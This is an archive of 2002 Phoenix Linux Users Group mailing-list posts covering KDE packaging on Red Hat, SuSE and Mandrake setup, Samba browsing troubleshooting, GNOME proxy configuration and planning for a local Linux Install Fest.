At The Speed of Light... > > http://www.theregister.co.uk/content/28/25874.html > > > What's next, Microsoft MCSE at 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:09:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:09:15 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> Message-ID: <005d01c21e51$35224da0$0301010a@tickticker.com> >Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. they do kinda, but i installed KDE 3.0.1 on my mandrake 8.2 distro and not including download it took me a whopping 20 mins to install. Works great too. if you want 8.2, i can get you a copy and throw the rpms for KDE on a cd and either directions or just help out. if it's one thing i learned to do well, it's install the latest KDE on a mandrake install as i've been doing it since mandrake 7.1. anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 3:41 PM Subject: RE: Crappy Products Cost More!! > I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. > > I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. > > -----Original Message----- > From: Kurt Granroth [mailto:kurt@granroth.org] > Sent: Thursday, June 27, 2002 3:02 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > > On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > Would you settle for a product that is 70 to 80% complete? How about if > > they left off one tire on your car? Bernard's attitude is a horrible > > example of bad customer service. (If what you report is accurate.) > > To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). > RedHat gives him next to no support internally. > > Not that that excuses RedHat at all... > > As for your java issues with Konqueror, it depends on what version of Java > you are using. You need java 1.3 or better (the IBM version works great > for me). Java support in the upcoming 3.1 (not due until this Fall) is > *much* improved over the 3.0.x series as well. > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:04:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:04:56 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> Message-ID: <005001c21e50$956d2410$0301010a@tickticker.com> I'm glad to hear the 12 step arizona plan has worked as well for you as it has for me:-) anthony ps. say ya to da u.p., eh? ----- Original Message ----- From: "Kurt Granroth" To: Sent: Thursday, June 27, 2002 3:00 PM Subject: Re: Install fest interest generation > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > Naw, I'm not a YouPer > > It's "Yooper", not "Youper". :-) > > For the record, I spent the first 22 years of my life as a Yooper living in > the northernmost part of Michigan. Five years living here has cured me of > all that, though :-) > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:10:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:10:57 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> <02062715413316.07972@nova.wedge.org> Message-ID: <006001c21e51$6c12c970$0301010a@tickticker.com> I'm from the Detroit area and we just referred to them as snowbound except for the month of pleasant (for mich) weather. Anthony ----- Original Message ----- From: "Jim" To: Sent: Thursday, June 27, 2002 3:41 PM Subject: Re: Install fest interest generation > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Down in Detroit we referred to youse guys who lived in gods country north of > the bridge as you-pee-ers ::grin:: > > On Thursday 27 June 2002 15:00, you wrote: > > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > > Naw, I'm not a YouPer > > > > It's "Yooper", not "Youper". :-) > > > > For the record, I spent the first 22 years of my life as a Yooper living in > > the northernmost part of Michigan. Five years living here has cured me of > > all that, though :-) > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRuUnSsk3ywszI1FEQKQeQCfWKIkmAxn6SS8sWTgFcr2/pN6cO8AoJt1 > x7aL47MbwnUjcXA35miRvU/F > =qGzn > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:15:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 20:15:26 -0700 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> Message-ID: <007801c21e52$0ce15240$2f7c0d82@peyote> > slr wrote: > > > > > /etc/hosts has nothing to do with what the real hostname. It's better if it > > > does list the name, but that's not required. > > > > if /etc/hosts has nothing to do with what the real hostname is. then why in > > the /etc/rc.config file right above the statement: > > > > FQHOSTNAME=blah.hostname.com > > > > does it state: > > > > Hostname of the system (full name) > > Don't forget to edit your /etc/hosts appropriately > > > > and BTW, thx George for the clue to /etc/rc.config. > > No problem. > > > > > > > /etc/HOSTNAME is probably either read or written at boot time, but should > > > otherwise be ignored. > > > > sl in SuSE is YaST the preferred way of making system changes? > > Yes, and this drove me batty. I cut my teeth learning config files and > making symlinks in the start up scripts, so YaST was a major annoyance. > Now, I live with YaST because SuSE supports the Linux Standards Base, > and some other distros do not. Today's YaST really rocks, so I am > getting used to doing the point and click administration. > > I wanted to install my WinTV card. Point-click, YaST set it up - easy. > I wanted to monitor my CPU temperature. I installed the sensors > package, and YaST installed the proper entries in /etc/modules.conf for > me. > > The "gotcha" with YaST is when you install a new service, like LDAP, you > must enable the new service in YaST, because every init script asks YaST > if that service is supposed to start up. The other "gotcha" is that > YaST2 does not manage Logical Volumes correctly - use YaST1 for that. > > George ok, i will use YaST like a good lizard. :~D looking at the choices i had, SuSE was the only Distro i could find that had a newer kernel written for the sparc64. all the others lagged behind! so after spending time with it at work, i am thinking about nuking RH7.1 and installing the new SuSE on my workstation @home. Should i X RH? slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:26:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Thu, 27 Jun 2002 20:26:46 -0700 Subject: OT: Five year old wins MS proficiency cert, Gates book References: <3D1BCC25.AD3772CD@georgetoft.com> Message-ID: <3D1BD776.7000804@ttlexceeded.com> George Toft wrote: >[...] >A five year old boy in Thailand has passed Microsoft's Office User >Specialist examination (MOUS), and won himself a copy of Bill Gates >masterpiece Business At The Speed of Light... > >http://www.theregister.co.uk/content/28/25874.html > As if child labor and sweatshops weren't cruel enough! - Bob > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:58:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 20:58:01 -0700 (MST) Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: Am 27. Jun, 2002 schwätzte Dr.G so: > I'm afraid I didn't sign up to this list to have my email put into a DB with > a list of skills/references on me so that someone can go in there and just > send me email whenever they have a problem. I thought that was what PLUG was I don't think that's what anyone was proposing. I hope it wasn't. I try to get people to mail the list rather than going to me directly. Admittedly I sometimes go directly to a few people because I know they're working on the project in question or I specifically want their opinion. What was proposed was to email the people on the list and ask them to sign up. That's SPAM and I, personally, am very much against that. Announcing it as a new project on the appropriate lists is fine. That will get better reception, so that's the way to go anyway. The db thing should be totally an opt-in thing, e.g. you initiate your entry and you maintain it. I think that's what's been proposed. > If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > just as annoyng as MSN/hotmail signing you up for thier spam, not telling > you, and then saying "Oh, well, its OPT-Out..." Opt-out should be illegal. At the international level. Period. Actually, at the intergalactic level! ciao, der.hans -- # https://www.LuftHans.com/ # When I work, I work hard. When I play, I play hard. # When I sit, I sleep. - Embe Kugler From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:33:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:33:09 -0700 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> <007801c21e52$0ce15240$2f7c0d82@peyote> Message-ID: <009601c21e54$85fafda0$0301010a@tickticker.com> I'd like to thank everyone for the smb info. i was having major problems browsing from my winsnooze boxes. after getting my hostname situated, even that backward os can share on a consistant basis. now i can move all my data from MS to Linux and complete my happy home. another happy customer! anthony ----- Original Message ----- From: "slr" To: Sent: Thursday, June 27, 2002 8:15 PM Subject: Re: SuSE 7.3 sparc64 > > slr wrote: > > > > > > > /etc/hosts has nothing to do with what the real hostname. It's better > if it > > > > does list the name, but that's not required. > > > > > > if /etc/hosts has nothing to do with what the real hostname is. then why > in > > > the /etc/rc.config file right above the statement: > > > > > > FQHOSTNAME=blah.hostname.com > > > > > > does it state: > > > > > > Hostname of the system (full name) > > > Don't forget to edit your /etc/hosts appropriately > > > > > > and BTW, thx George for the clue to /etc/rc.config. > > > > No problem. > > > > > > > > > > > /etc/HOSTNAME is probably either read or written at boot time, but > should > > > > otherwise be ignored. > > > > > > sl in SuSE is YaST the preferred way of making system changes? > > > > Yes, and this drove me batty. I cut my teeth learning config files and > > making symlinks in the start up scripts, so YaST was a major annoyance. > > Now, I live with YaST because SuSE supports the Linux Standards Base, > > and some other distros do not. Today's YaST really rocks, so I am > > getting used to doing the point and click administration. > > > > I wanted to install my WinTV card. Point-click, YaST set it up - easy. > > I wanted to monitor my CPU temperature. I installed the sensors > > package, and YaST installed the proper entries in /etc/modules.conf for > > me. > > > > The "gotcha" with YaST is when you install a new service, like LDAP, you > > must enable the new service in YaST, because every init script asks YaST > > if that service is supposed to start up. The other "gotcha" is that > > YaST2 does not manage Logical Volumes correctly - use YaST1 for that. > > > > George > > ok, i will use YaST like a good lizard. :~D > > looking at the choices i had, SuSE was the only Distro i could find that had > a newer kernel written for the sparc64. all the others lagged behind! so > after spending time with it at work, i am thinking about nuking RH7.1 and > installing the new SuSE on my workstation @home. > > Should i X RH? > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 22:58:39 -0400 (EDT) Subject: Install fest interest generation In-Reply-To: <006101c21df8$0c11c020$0301010a@tickticker.com> Message-ID: On Thu, 27 Jun 2002, tickticker wrote: > haven't visited yet, but post a flyer on the installfestwest site that can > easily be downloaded and printed. Michelle Lowman has generously offered to head up the flyer effort. Of course, we have to confirm the date and location first. Foodog is looking into the GCC Student Union. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 04:01:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 28 Jun 2002 00:01:01 -0400 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> <007801c21e52$0ce15240$2f7c0d82@peyote> Message-ID: <3D1BDF7D.5983F15D@georgetoft.com> slr wrote: [snip] > ok, i will use YaST like a good lizard. :~D > > looking at the choices i had, SuSE was the only Distro i could find that had > a newer kernel written for the sparc64. all the others lagged behind! so > after spending time with it at work, i am thinking about nuking RH7.1 and > installing the new SuSE on my workstation @home. > > Should i X RH? I fond SuSE is a much more responsive company than Red Hat, so I would, but it is up to you. I say they are more responsive as I suggested they add mplayer to their distro, and about a month later, I got a note from them saying they would. George From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 23:02:35 -0400 (EDT) Subject: Install Fest II 0626 Status In-Reply-To: <3D1BA01C.8D86CEBF@cox.net> Message-ID: Very agreed! Who wants to take the position as presentation coordinator? I'm guessing we could leverage the presentations from last time. On Thu, 27 Jun 2002, Lee Einer wrote: > It would be great to have a published schedule of the presentations, > too. > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:08:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Thu, 27 Jun 2002 13:08:37 -0700 Subject: Samba Help?? Message-ID: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> 1. Check to see that nmbd and smbd process are still running. Try killing them and then restarting them again. 2. 'nmbd' handles the browsing aspects of Samba. Check the log files. You can usually find some clues as to what went wrong. It should be something like nmbd.log, or samba.log, or something. They way they are configured depends on how samba is configured. So check smb.conf. Also check the debug level, since this affects what kind of messages are logged. 3. Sometimes windows networks (especially large domains and workgroups) take a long time to update and propogate. I've seen instances where it can take several hours to update. Sometimes though, I've seen a machine that just refuses to show up on the network without any explanation. In that case, I've changed the Samba hostname (different than you Linux hostname) and finally got it to work. Hope this helps. >--__--__-- > >Message: 2 >From: Carl Parrish >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Samba Help?? >Date: Thu, 27 Jun 2002 14:13:54 -0400 >Reply-To: plug-discuss@lists.plug.phoenix.az.us > >I let some Window users talk me into rebooting my Linux box to try to fix a problem >now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I >can't see any of the window boxes on the network anyone have any ideas? > > >Carl P. > > >--__--__-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:07:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Thu, 27 Jun 2002 16:07:40 -0700 Subject: Questions about RH, Gnome, and Evolution References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> Message-ID: <3D1B9ABC.316FCD18@phillipsmarketing.biz> I have RH 7.3 installed and Evolution version 1.0.3. Since I am behind a proxy/firewall, I need to setup the http proxy setting in gconf. The manual (yes, I did read it) says I need to either use nautilus or gconftool to tell the gnome-vfs about my proxy. Well, I removed nautilus because it uses way too many system resources (e.g. RAM) for my system, and I cannot find a gconftool on my machine, in RedHat, on the gnome site, or in a google search. I find references to it and all the nifty things it can do for a gnome desktop, but I cannot find the actual code. Does anyone know where I can find this really fabulous, and yet mysterious, tool? Thanks! Mark P.S. I guess I could install nautilus again, do the configuration, and then remove it, but something tells me the configuration changes will go away as well! ;) P.P.S. I also cannot download my email with Evolution, which I hope is due to this proxy setting in gnome-vfs. Any ideas would also be helpful for this problem! From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:32:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 23:32:29 -0400 (EDT) Subject: Install Fest II 06-27 Status In-Reply-To: Message-ID: As always, corrections and feedback are encouraged. Thanks Everyone! Install Fest II - 06-27 Status ----------------------------- News: Technomage is our first installer volunteer. He does Mandrake and RedHat in expert mode. Jonathon Claxton is our first demonstrator volunteer. Jonathon will be showing off the lighter side of Linux with some video games. Barring objection, I'm going to drop the member database decision as an Install Fest issue. It seems like it's beyond Install Fest's scope. Have tentatively confirmed 11 of the suggestions. These seem to be the most popular and/or the easiest to do. Have tentatively verified 8 unfilled volunteer positions. Suggestions: + More Install Stations + Press Releases on 31 July and 31 Aug + School (K-12) Oriented Press Release(s) + School (College) Oriented Press Release(s) + School (K-12,College) Direct Invitations + Mailing List Registration - Current Lists + May We Contact You? - Attendees + May We Contact You? - Install Customers + Demo Zone With Demonstrators + Presentations + PLUG Promotional Materials (PLUG Flyer) - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - Demo - Win/Lin Shootout / Corporate Usability - PLUG Promotional Materials (PLUG T-Shirt) - Homemade Cheesecake - 802.11 x Member Database (this project is independant of Install Fest) Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Installers: Technomage (pending location): RedHat, Mandrake Demonstrators: Jonathon Claxton: Video Games Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). - Demonstrators Be on hand day of show to demo Linux's mind-bending power. Please make sure that a computer with the proper gear will be on hand (bring your own may be the best call). - School Invitation Coordinator Arrange direct contact to as many valley schools as possible. Middle school through college may be the best bets. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - 802.11 Arrange use of appropriate wireless gear. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 04:48:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 27 Jun 2002 21:48:03 -0700 Subject: Questions about RH, Gnome, and Evolution In-Reply-To: <3D1B9ABC.316FCD18@phillipsmarketing.biz> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> <3D1B9ABC.316FCD18@phillipsmarketing.biz> Message-ID: <1025239684.22890.4.camel@bryceco1> On Mandrake 8.2 (latest) at least, there is an RPM for it as gconf-*. You could also re-install nautilus but then try taking away the executable bit. That's how I temporarily disable cron scripts. P.S. I'm writing this on Evolution 1.0.2 and obviously it works. E-mail me off-list for help with possible proxy problems. Now that's a tongue twister. Bryce C. Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net On Thu, 2002-06-27 at 16:07, Mark Phillips wrote: > I have RH 7.3 installed and Evolution version 1.0.3. Since I am behind a proxy/firewall, I need to setup the http proxy setting in gconf. The manual (yes, > I did read it) says I need to either use nautilus or gconftool to tell the gnome-vfs about my proxy. > > Well, I removed nautilus because it uses way too many system resources (e.g. RAM) for my system, and I cannot find a gconftool on my machine, in RedHat, on > the gnome site, or in a google search. I find references to it and all the nifty things it can do for a gnome desktop, but I cannot find the actual code. > > Does anyone know where I can find this really fabulous, and yet mysterious, tool? > > Thanks! > > Mark > > P.S. I guess I could install nautilus again, do the configuration, and then remove it, but something tells me the configuration changes will go away as > well! ;) > > P.P.S. I also cannot download my email with Evolution, which I hope is due to this proxy setting in gnome-vfs. Any ideas would also be helpful for this > problem! > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 05:29:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 27 Jun 2002 22:29:36 -0700 Subject: Questions about RH, Gnome, and Evolution In-Reply-To: <1025239684.22890.4.camel@bryceco1> References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> <3D1B9ABC.316FCD18@phillipsmarketing.biz> <1025239684.22890.4.camel@bryceco1> Message-ID: <1025242176.21204.2.camel@barney.azapple.com> On Thu, 2002-06-27 at 21:48, Bryce C wrote: > On Mandrake 8.2 (latest) at least, there is an RPM for it as gconf-*. > You could also re-install nautilus but then try taking away the > executable bit. That's how I temporarily disable cron scripts. > > P.S. I'm writing this on Evolution 1.0.2 and obviously it works. E-mail > me off-list for help with possible proxy problems. Now that's a tongue > twister. ---- pkgconfig-0.12.0-1 Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 06:26:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Thu, 27 Jun 2002 23:26:34 -0700 Subject: Windowed Games Message-ID: <200206272326.34988.krycom1@cox.net> Is there a way to hide the mouse pointer when playing games that are windowed. Some of the games you can not make full screen and if your pointer moves out of the window you lose control. I was wondering if there was some way around this? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 06:52:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Thu, 27 Jun 2002 23:52:09 -0700 (MST) Subject: Windowed Games In-Reply-To: <200206272326.34988.krycom1@cox.net> Message-ID: Have you tried changing the focus behavior in the Window Manager? I don't like my windows changing focus just beacuse I moved the mouse/pointer so I set focus to something like 'clicked' On Thu, 27 Jun 2002, Richard L. Proctor wrote: > > Is there a way to hide the mouse pointer when playing games that are windowed. > Some of the games you can not make full screen and if your pointer moves out > of the window you lose control. I was wondering if there was some way around > this? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 10:43:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 28 Jun 2002 03:43:44 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <200206271502.25609@granroth.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> <200206271502.25609@granroth.org> Message-ID: <1025261024.23103.0.camel@barney.azapple.com> On Thu, 2002-06-27 at 15:02, Kurt Granroth wrote: > On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > Would you settle for a product that is 70 to 80% complete? How about if > > they left off one tire on your car? Bernard's attitude is a horrible > > example of bad customer service. (If what you report is accurate.) > > To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). > RedHat gives him next to no support internally. > > Not that that excuses RedHat at all... > ----- From this months archives on valhalla-list@redhat.com << What I'm pretty sure the statement from the KDE is based on is the fact that Red Hat takes the KDE code from them and then makes some changes which we feel are necessary. So, that makes it different from the code that the KDE guys ship and that's "not a good thing" in their opinion. As for the Red Hat employee that builds KDE packages in his spare time, that's not the case at all. Although building KDE packages isn't his only job function, it is one of them, so I definitely wouldn't call that "spare time." Thanks, jkt -- --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* Jay Turner, QA Manager jkt@redhat.com Red Hat, Inc. >> From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 11:15:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 28 Jun 2002 04:15:12 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B539@mail.int.fh.org> Message-ID: <1025262912.23103.32.camel@barney.azapple.com> On Thu, 2002-06-27 at 13:58, Tom Achtenberg wrote: > Would you settle for a product that is 70 to 80% complete? How about if they left off one tire on your car? Bernard's attitude is a horrible example of bad customer service. (If what you report is accurate.) > ---- Would I settle for a product that is 70 to 80% complete? I do every day all the time. That is the very nature of open source software. I also use cvs on projects and yes that is exactly what I am settling for. The only other option is a rollback to the last 'stable'. With every distro, someone has to make the decision on what to include...and when you have a project like KDE which progresses rapidly, the decision to use the last stable or a more recent checkout from cvs is strictly the person's call that is packaging it up. In RH 7.3 distro, the KDE release was a post-3.0.0 checkout used and it already incorporated a lot of what is 3.0.1...the figure of 70 to 80% wasn't mine but it was my hazy recollection of another's on the valhalla-list@redhat.com - which when I searched the archives, was actually 90% but that isn't material at all. No doubt some things have changed since it was packaged for 7.3. There is a more up to date version in rawhide - pretty typical of redhat to take the fast changing projects and put the updates in rawhide since rawhide represents the edge of development but not to be supported...only for testing. Obviously when the packages are installed by users such as you and I and we report back on our experiences, then they adjust as necessary. I wish your attitude didn't always reflect a chip on your shoulder. Bero's attitude has nothing to do with customer service. He's a software engineer doing his job. If you don't like the decisions that RedHat makes in packaging the binaries...then you can roll your own...download the source code to KDE 3.0.1 and install it yourself. My guess is that if you knew what you were doing, that you would want to use the cvs of KDE 3.1 and be settling for less than 70-80% at this moment but that's the beauty of open source...you can do that. But if you merely want to work with 'stable' releases, you can install the rpm-development package and you can create your own source rpm's, compile and install them just like any other rpm binary that you get from redhat and install it. I know that Bero felt that nothing of enough significance changed from the KDE 3.0.0 checkout that he used in RH 7.3 and the 'stable' KDE 3.0.1 to warrant an official errata update. If you Tom Achtenberg feel he is 'an example of horrible customer service', I would suggest that you send your appraisals to him... bero@redhat.de and spare us some of your uniformed outbursts. Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 14:33:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 28 Jun 2002 07:33:25 -0700 Subject: Samba Help?? In-Reply-To: <02062711473913.07972@nova.wedge.org> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> <02062711473913.07972@nova.wedge.org> Message-ID: <1025274805.28579.43.camel@hawk> I'm always up for a party . As soon as I get a free min I'll start planning one (course 1.5 will proably be out by then ). Btw my samba problem seems to have fixed itself. Carl P. On Thu, 2002-06-27 at 11:47, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too > late, Carl ::grin:: > > On Thursday 27 June 2002 11:13, you wrote: > > I let some Window users talk me into rebooting my Linux box to try to fix a > > problem now my Samba is fubared. I've restarted /usr/bin/smbd and > > /usr/bin/nmbd but now I can't see any of the window boxes on the network > > anyone have any ideas? > > > > > > Carl P. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRtdyysk3ywszI1FEQL9HQCgppybd32W54WcoXxuujTln+uQYZkAoOu6 > NO8W5AXnnLvebNqFIB23wcY1 > =d6FU > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 14:36:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 28 Jun 2002 07:36:08 -0700 Subject: Samba Help?? In-Reply-To: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> References: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> Message-ID: <1025274968.28580.46.camel@hawk> On Thu, 2002-06-27 at 13:08, Yicheng Li wrote: > > 3. Sometimes windows networks (especially large domains and workgroups) > take a long time to update and propogate. I've seen 